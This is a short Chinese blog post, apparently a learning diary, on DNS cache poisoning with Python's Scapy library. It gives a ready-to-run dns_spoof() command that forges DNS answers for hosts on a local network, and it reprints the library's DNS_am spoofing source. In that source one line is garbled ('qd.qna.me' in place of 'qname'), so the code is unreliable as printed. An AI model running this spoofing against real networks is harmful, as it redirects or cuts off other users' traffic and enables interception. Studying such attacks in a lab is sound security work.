Python中的Scapy初探之四--DNS中毒

今天做了ARP缓存中毒,又看到了DNS中毒,觉得比较新鲜。Scapy还真不是盖的

简单来说,DNS中毒就是自己做一个应答的DNS包,发送给客户端,这样,客户端就中毒了,因为不管发出什么DNS请求解析,得到的都是伪装的DNS应答包,这样就什么都访问不了鸟,这个做起来也非常的简单

Scapy里面有一个工具,就是专门做DNS中毒的,它就是dns_spoof(),这玩意非常好使,搞得我都上不了网了

运行起来也很简单

dns_spoof(joker=’x.x.x.x’,match={‘www.baidu.com.’:'61.135.169.125'})

joker用来替换DNS请求返回的IP地址,这个可以随便设置,反正只要用了它,返回的DNS应答包就全是这个IP地址了,至于match,是一个字典数组,可以用来替换返回真正的地址,例如www.baidu.com的正确IP地址是61.135.169.125

在填写match的时候,网址后面要加一个点

这个字典文件可以很多,用来替换正确的IP地址

一旦运行起来,就会一直监控,也就是DNS解析无法正常使用,非常的毒辣

看了一下源码

class DNS_am(AnsweringMachine):
    function_name="dns_spoof"
    filter = "udp port 53"

    def parse_options(self, joker="192.168.1.1", match=None):
        if match is None:
            self.match = {}
        else:
            self.match = match
        self.joker=joker

    def is_request(self, req):
        return req.haslayer(DNS) and req.getlayer(DNS).qr == 0
   
    def make_reply(self, req):
        ip = req.getlayer(IP)
        dns = req.getlayer(DNS)
        resp = IP(dst=ip.src, src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport)
        rdata = self.match.get(dns.qd.qna.me, self.joker)
        resp /= DNS(id=dns.id, qr=1, qd=dns.qd,
                    an=DNSRR(rrname=dns.qd.qname, ttl=10, rdata=rdata))
        return resp

这个写的还是很有功底的,怪不得找不到帮助文档,看看源代码就好了。明天研究一下DHCP,嘿嘿

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值